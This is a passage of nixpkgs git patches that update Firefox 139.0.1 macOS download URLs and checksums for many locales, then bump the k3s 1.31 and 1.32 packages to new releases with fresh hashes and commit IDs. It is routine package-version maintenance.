+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ko/Firefox%20139.0.1.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "e0e32e9601bed5b0e059c385a51773abdba99b2ae64f3f1cb9b8e8767903fad5";
+      sha256 = "2e2cd7ff45d1152a112fad55284d199dc33210c1f1821f7c43b51c9508ec4606";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lij/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lij/Firefox%20139.0.1.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "62b606a40994180b765d67513f80d3caeeb49de5149afdb92ecc94544f37acb1";
+      sha256 = "80b2cbd9687e2474e8f52c5f8cab938da4ec01ec08bc858a06de8cd98b31f57e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lt/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lt/Firefox%20139.0.1.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "bbe7863f6cbb1d670f18548e3b85ba9310f4ec9a1d78302f9d02c7014f4d3203";
+      sha256 = "e836ed07b13a5b02e612b9825e8d5d404972f6d2fd91e95210ec7ae838426f9e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/lv/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/lv/Firefox%20139.0.1.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "47a2c4fee31e42537d1ec255173c4c99eb62ecfed8c67471e9c5edc67b5a7284";
+      sha256 = "0cd6580a21df980be2c2ad8a7e7fc162206b62cd3673f4509db609e326cd9ed7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/mk/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/mk/Firefox%20139.0.1.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "700797bd32ec321842a041e5ca1a38789c04b01f7e3c3ec88625b8624b8fc8cc";
+      sha256 = "d5c548bac8aa256e28f6f2e76ccbfe54087dd76479b582317def096be056c58b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/mr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/mr/Firefox%20139.0.1.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "de02666dc70dccc36c5af6f2c9f47652cbcbd816b2ceb9e51c022f983fb21473";
+      sha256 = "5ef64765786bb49ffdd7cf0670ef22796a546429b6892c3fd92921cb8b83644f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ms/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ms/Firefox%20139.0.1.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "9bfcd2214067ec17982e7f0b2beb5371de96884e6531bd035e020a6a82e3c04b";
+      sha256 = "088b75c258d62a6e8bb53de458b2a3b7a1df7022e98d4d2c782ee61b21c93db6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/my/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/my/Firefox%20139.0.1.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "5def75eb9c0bd50f14d315df706cf69971147d8f14ff9e49b295f3b26ee887df";
+      sha256 = "e2217ecd841382ce3d502d717e2403309b7926846538a9d5d87725a66c44b411";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nb-NO/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nb-NO/Firefox%20139.0.1.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "947f244c67f16bb8004e9d3efe2aa06ff9c29fcdc189ec453f5e86130dda5972";
+      sha256 = "420220b20cf11b8240875c13cf9e33c39364e72118fb8b3449e5e5da0157336b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ne-NP/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ne-NP/Firefox%20139.0.1.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "75b8387722f0ba37eee8fd5a527ce231cc7ebea1a5526fb48e27fba7f72230cf";
+      sha256 = "c9c591f0acd41376c0e2067941702339b43141fbfac90ce7c1a67bac421ad56c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nl/Firefox%20139.0.1.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "d0419657503711cb0ca01de226dde6791145cd8ff0ea83ebffd0b0d821967e68";
+      sha256 = "a2a56b7d9815c69cc15df54dfb7ce9cc43f083bc2a7be1960ca48a461afb9807";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/nn-NO/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/nn-NO/Firefox%20139.0.1.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "8135b43ca05af1e24f9eb35304ed86636ce81c772d2aceb4e624da59362e69ad";
+      sha256 = "a7f0f6e099edfbeb82c52324113302098570d483bdf4f41394c031756032709e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/oc/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/oc/Firefox%20139.0.1.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "3da585c574722fd9a74b9a2b17e23572f50088dbd770d14ddbee73961712283c";
+      sha256 = "c1ac050cb59700f7c7fef9d46fe52fe3c6ae0398342486d4097acf8e3afe1e0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pa-IN/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pa-IN/Firefox%20139.0.1.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "21ae4e57c5dd6c66e3d915f80c727f444babc93d4b7dde65e9b9ac3724abeb78";
+      sha256 = "dd22354c6d627ea338ba4dcf1907c709606b3ae9889be92c5ad4374b6960de19";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pl/Firefox%20139.0.1.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "f8cd4292c2ba782c51de55cc15c1856cde86b0ad496d194ce18f7ebd09cbad9f";
+      sha256 = "33931e4ced252ce729f3d43fecf9f4720d193664b824271bc9f60d1149b09c2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pt-BR/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pt-BR/Firefox%20139.0.1.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "848230440791e68c5118e79b981b054abf3a52e6081bfbd4665f7a69277940b2";
+      sha256 = "e4fcd07958c32a953be40f9a4a14c9941dcb69c7c432b68f428f4ec9c0fde5a2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/pt-PT/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/pt-PT/Firefox%20139.0.1.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "051494b2b7dd1546ca23ac920b139450061401b0d6e8422f4cfab4c6eb7c6494";
+      sha256 = "037a139a087e796e18f1b5247d34797e4aa91b0a2acfb0b66a371687f0936b4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/rm/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/rm/Firefox%20139.0.1.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "fcf073ff8ec12006dc52595731c09e15f89ac0cda499f9d5191c529dc2fa868e";
+      sha256 = "370b78747a9439c2f205820f5dce9d078fd28dc208c77597443787604c07d461";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ro/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ro/Firefox%20139.0.1.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "03edb86e01520b84bec2b0cb134c08d2b5225501eb4946d94b3f7d854fe34d73";
+      sha256 = "0d48fa56226f6be494e507f3d05669a4a12597b890458d0e51b88277c17fb5d6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ru/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ru/Firefox%20139.0.1.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "22987ce482f23a6d42b5c51518109bbfb53f981a46575bef4ed5c8f66f05328d";
+      sha256 = "1c9972d288c9af9784b5eaea75c8583d4bd57be5cdff0300cc85ac860d3cfabd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sat/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sat/Firefox%20139.0.1.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "ba9c3fa3db5c8685883a6ef5703bf63c3c07afbe5ac3ee53501abad9774a0af0";
+      sha256 = "9a8537438377a20b23c4fb7233e881a142b257b3516fd44586921369dcdfd8c0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sc/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sc/Firefox%20139.0.1.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "b18ca09e991273c0302312d4363b0691f216227f4274f3b7cdfbc65d5e3f8135";
+      sha256 = "81c316ef0cca280bc41b664d9db2bc1c45e1b06f100f4c8687784fb8aa4afd73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sco/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sco/Firefox%20139.0.1.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "681631c6cc1e8ff71d37d358cafc4c06c1f1cc92f5873cf8f036a0d45fdf4782";
+      sha256 = "0a8c54624945f06daad9368c8333cba7ee3d204b27eb54b3fb4629d1e2db416a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/si/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/si/Firefox%20139.0.1.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "35eb7248a08659e8db8d0b2f80aea83cf14153e3d4050ae930049847fbe3cf31";
+      sha256 = "65e57e930a9b3eb0a58fd6fcaaea7a059161b3b800811899fd1e1569beb1a514";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sk/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sk/Firefox%20139.0.1.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "70ab7893fdf29e8f05cb68403c5d5699596380fec2830d9cb9ed5b76b3fc089b";
+      sha256 = "f53d1c2e249b7dae8acfe51539fb7628bf31251b5c377a3db0289695e21a8351";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/skr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/skr/Firefox%20139.0.1.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "608091713e068e799746e6bcdf9a0f355a510e6194a667bfab0ad3624977c778";
+      sha256 = "910b1ce3d5765d790114776322343afa0bf77d4f75fc2edc3c7144a2af8c0644";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sl/Firefox%20139.0.1.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "fb53a2e2b6fa8863e75210098f64b70d03b65765b34aff59e0624b62845f76db";
+      sha256 = "791514db0971cea4133582b95eede42a618f8725353c69d6ab9df58590078cc0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/son/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/son/Firefox%20139.0.1.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "fcdf5c03ed3a3a9eaa0af5e02b32d89a15fdefd698637164c50ddd89b29c669c";
+      sha256 = "864e755abefbd43ee15e8d6c0423004d975cef8638d6fbe6a399ecd0344ade52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sq/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sq/Firefox%20139.0.1.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "7f04c9dc75e384a336fa7aada83e7c61f9905ca87df49209fb0b559340c3b4d7";
+      sha256 = "c198eb883aed34be07c179ee7b63809189614ae71eeb6ee334cb5531b950097b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sr/Firefox%20139.0.1.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "fc29468dec29395f8600850948835cd8e85ab8164a6b802987149e71e0e99691";
+      sha256 = "07799c0d2427c01f92036c2b472c2496000957e06be875e360715964d353cc0e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/sv-SE/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/sv-SE/Firefox%20139.0.1.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "5e4ad98555697f92cb1d89e6a7be70a6a1a6ef5e9ed3cde6fd188026af5d4a70";
+      sha256 = "9c7020e14c9b2fb6316aa64101e5c22a543837aa859ccde7d3d85b21706110dd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/szl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/szl/Firefox%20139.0.1.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "69be90a6e941cec038efb7986f45b19789ccf71794a51e7c48cb1ce2e53ece0b";
+      sha256 = "1b3cca5c3825534614e0622c0c9390adcc3d977b2929b6b6b71569bda944c1f4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ta/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ta/Firefox%20139.0.1.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "19fb8d49b12bdcdcc37b5d3311a4ad4e0958df31d1ee2fb7afed6657d9d3103e";
+      sha256 = "a948221b830cd91e2baf75267f0c88d7fbb922bb5fa3400a7cdb56ab4a2ac24e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/te/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/te/Firefox%20139.0.1.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "a6b1b940261f4df5260b91c6161189e7a917fa6cc2882a40a5fc62e64f0a7c6d";
+      sha256 = "f0f7a591948768c0a1be88dd6d6e3894eecee31c03bc1b27e78e1be935cffccf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tg/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tg/Firefox%20139.0.1.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "44cea3664a4507d90f51e54b5a6132f6efb5a8f45786e861dfec478f69956a94";
+      sha256 = "9a70c9b3f12b40176ff6517f595e07aeb384e9629b0d88290ac6b5e3afb1648a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/th/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/th/Firefox%20139.0.1.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "e66eb76895e9c5f43310ade5219d36cd3467278e66745f1267f591337293f687";
+      sha256 = "7488d21f91cfda5bae385a9ba89e15165e589f57c7c6220bcdccb685e2a8714f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tl/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tl/Firefox%20139.0.1.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "1f0e36fe95e97e2048acd43cd7ac85400e4720ceea3f83f744729751ad4f3881";
+      sha256 = "6d5d31adfcbb36e69cb81f56d305ab9929d2706e22ced6a104f80b84d449f37f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/tr/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/tr/Firefox%20139.0.1.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "8e760c6751680f941e1b2a59970d0c43cd2df24a414ba52cbbc0cbc427ea7a94";
+      sha256 = "fa3194f18780f33cb67df28c20dc75a726d2aa31792e03671c9e2848c5f803d2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/trs/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/trs/Firefox%20139.0.1.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "595d1e4973263348535c50f5c6eaa0cdd74d0db1b4e2b78ec8c2a2ace9ca828d";
+      sha256 = "8196eae763439591b98f11de6685af6db3e776f6c478e8315d768d2395187dae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/uk/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/uk/Firefox%20139.0.1.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "d2708ae447d70c3d931b4b7d63dba5d75969b7e0579a7adec90cc916276d0749";
+      sha256 = "8c66b35d7ddfbe0515c22eda7c625609b4d1c7e4b98deccf2c3bd766a1bec504";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/ur/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/ur/Firefox%20139.0.1.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "53e1f218129ba29019bc2bc6085bc0d66221af03f17c12e688cd67908226ca79";
+      sha256 = "7ffe482db093fa473e21ead858cc47fc9a5349337103200b8c3bd2b4ba636d90";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/uz/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/uz/Firefox%20139.0.1.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "daf46d0a45e156d379c3bfb65b405db825d248a1112491cc8b4116b742b2108b";
+      sha256 = "efba670f42c3e9a1b471299b2c77f437660db4213cbc47e029a4c9531a6c222a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/vi/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/vi/Firefox%20139.0.1.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "b14577d72f748f9afd811366b2a0ddeea6543cd63ff01b9294335d26d0632073";
+      sha256 = "74b6f1e646e9cbc40402334bb9ff05625a3edb125783f3bdbfc2ef525e4e0706";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/xh/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/xh/Firefox%20139.0.1.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "d8ba0b0ef4e3e8c15c88498a5ecd45e43018980a64b6ef5c5cfd8680e6b9f828";
+      sha256 = "acfbcab5e0e6b43fb5a7061daaf18425bc573407a413b6d5cfd312a9f8691ca5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/zh-CN/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/zh-CN/Firefox%20139.0.1.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "9c8d97170ef8b9868e84844f7bc4b968fa4303b0cae8b4820ebe5f49778d9853";
+      sha256 = "c05f05e9f112e0d848f21407592f683d569b5c50b849139386a07acf052f8079";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/mac/zh-TW/Firefox%20139.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/mac/zh-TW/Firefox%20139.0.1.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "3cee288e2a060de82a3d795622c5d754cb2d9d96529c3c15b6e6fef89c7b7806";
+      sha256 = "c1253c7ae884c0b95ef467f8be3adc3550d88ec1e36c2cc0d491202a26d956bc";
     }
   ];
 }

From 1d205dd113a4473771082b573b75597a89419d29 Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 27 May 2025 21:18:13 +0200
Subject: [PATCH 0302/4511] k3s_1_31: 1.31.8 -> 1.31.9

https://github.com/k3s-io/k3s/releases/tag/v1.31.9%2Bk3s1
(cherry picked from commit ccfaac8395a6af8c4a534695ab0089f1fa5fca62)
---
 .../cluster/k3s/1_31/images-versions.json          | 14 +++++++-------
 .../networking/cluster/k3s/1_31/versions.nix       | 12 ++++++------
 2 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
index 9c0007b99bda..f54f48949639 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_31/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.8%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "b165c30ccff774f95019f70e200e59d3eea8a3b7fc63c64c07d839c1feb48357"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "939480f43b0214bfcc9fbd33cc73c810c1fded4e7ad16b204ac050277574ed9c"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.8%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "9adfe524ab0bb53d0753dc92759e7f2847e5ce75b88966544da16b5c37605da8"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "b9e90a490568705fac716b330316f1cea190a3bce6220487f539d6eddbc3dfaa"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.8%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "26ab12d269a619df5d21464e6b1fa539b7c7b2f039737f656683d59eb71f83ac"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "9a31f65d02f9be290288351c01ae57cc16550ae16cbf8c95296ec15da2676dce"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.8%2Bk3s1/k3s-images.txt",
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.31.9%2Bk3s1/k3s-images.txt",
     "sha256": "7a53b3def0199b17de6ec690d13ae2001fb83809258d28d985eafa69869c3aa9"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
index 495e9258de05..4af0db58a6c6 100644
--- a/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_31/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.31.8+k3s1";
-  k3sCommit = "33429f764d560f617c049e4ebb323c00963419c0";
-  k3sRepoSha256 = "0dpp3gi2g4qqi0szz53j9z06bcgkdzh3c64651d8zjjj151rmhwv";
-  k3sVendorHash = "sha256-vQQGJOFNO2rCJ/UWxWYgH617DctCmTF6eqH7Yq5T+2Q=";
+  k3sVersion = "1.31.9+k3s1";
+  k3sCommit = "812206503b2874c703dcc93c5d6baa5ffc745930";
+  k3sRepoSha256 = "0cknigj3cx5ndh5n15nymzmr8xgsr7is5hbi923n6h2q5bjm12q4";
+  k3sVendorHash = "sha256-ojzoxqtVYSmw5gZk+0W4V5ImRcXX451QauIFNR9j9eY=";
   chartVersions = import ./chart-versions.nix;
   imagesVersions = builtins.fromJSON (builtins.readFile ./images-versions.json);
   k3sRootVersion = "0.14.1";
   k3sRootSha256 = "0svbi42agqxqh5q2ri7xmaw2a2c70s7q5y587ls0qkflw5vx4sl7";
   k3sCNIVersion = "1.6.0-k3s1";
   k3sCNISha256 = "0g7zczvwba5xqawk37b0v96xysdwanyf1grxn3l3lhxsgjjsmkd7";
-  containerdVersion = "2.0.4-k3s2";
-  containerdSha256 = "0v34nh6q0plb50s95gzdkrdfbbch7dps15fmddh5h241yfms8sq6";
+  containerdVersion = "2.0.5-k3s1.32";
+  containerdSha256 = "1la7ygx5caqfqk025wyrxmhjb0xbpkzwnxv52338p33g68sb3yb0";
   criCtlVersion = "1.31.0-k3s2";
 }

From 1076759c45349b3081bfd026a561b5f645a9d2ea Mon Sep 17 00:00:00 2001
From: Robert Rose <robert.rose@mailbox.org>
Date: Tue, 27 May 2025 21:20:56 +0200
Subject: [PATCH 0303/4511] k3s_1_32: 1.32.4 -> 1.32.5

https://github.com/k3s-io/k3s/releases/tag/v1.32.5%2Bk3s1
(cherry picked from commit 41ea5b96287686ccfe234fad2ee83ede4c63e83e)
---
 .../cluster/k3s/1_32/images-versions.json          | 14 +++++++-------
 .../networking/cluster/k3s/1_32/versions.nix       | 12 ++++++------
 2 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
index fe7dd8574860..bd12302b1afe 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
+++ b/pkgs/applications/networking/cluster/k3s/1_32/images-versions.json
@@ -1,18 +1,18 @@
 {
   "airgap-images-amd64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.4%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
-    "sha256": "2c27bf09b90459947dff497ca5028adefa8f8f3d2ae96a3164c11b8a5ed3bb86"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-amd64.tar.zst",
+    "sha256": "ac1f278f1b006851d95cd3236e9b909264872e9f6b5ffcf90d28198c6f2e913c"
   },
   "airgap-images-arm": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.4%2Bk3s1/k3s-airgap-images-arm.tar.zst",
-    "sha256": "5a3b7228988bfe725b6bfca0a8cf357dc4fe474ea910663a29d2fe58ab8065c9"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-arm.tar.zst",
+    "sha256": "c87b652cc8469019668ba5481e00b0d253e7d582e6139cb3a086b01682329f5e"
   },
   "airgap-images-arm64": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.4%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
-    "sha256": "3b9131e8f51b9e8b9c1a1ceb5e51ebc245959aa50446def1a4323cf9340dfe0c"
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-airgap-images-arm64.tar.zst",
+    "sha256": "c7ebe524d0d596ff9b45695770cbd76f8fd672236c563da947ca5cb2d0a64aad"
   },
   "images-list": {
-    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.4%2Bk3s1/k3s-images.txt",
+    "url": "https://github.com/k3s-io/k3s/releases/download/v1.32.5%2Bk3s1/k3s-images.txt",
     "sha256": "aa8e10337aef453cb17e6408dbaec9eb2da409ca6ba1f8bc7332fcef97fdaf3a"
   }
 }
diff --git a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
index 976a65943bc3..4aa03d7f48eb 100644
--- a/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
+++ b/pkgs/applications/networking/cluster/k3s/1_32/versions.nix
@@ -1,15 +1,15 @@
 {
-  k3sVersion = "1.32.4+k3s1";
-  k3sCommit = "6b330558e47a257134434508c851193bb4e9bf9d";
-  k3sRepoSha256 = "1ss7w5b5k7hjd9szx7p7cqvdqddb71iddqsf6dxkk9r1g5z7sbs5";
-  k3sVendorHash = "sha256-e7uLDjCR/q04HwOHTb1E5gGiwKDN2Hbxmym7qJxfpWU=";
+  k3sVersion = "1.32.5+k3s1";
+  k3sCommit = "8e8f2a4726fdb4ca628eb62b2a526b64d0e6a763";
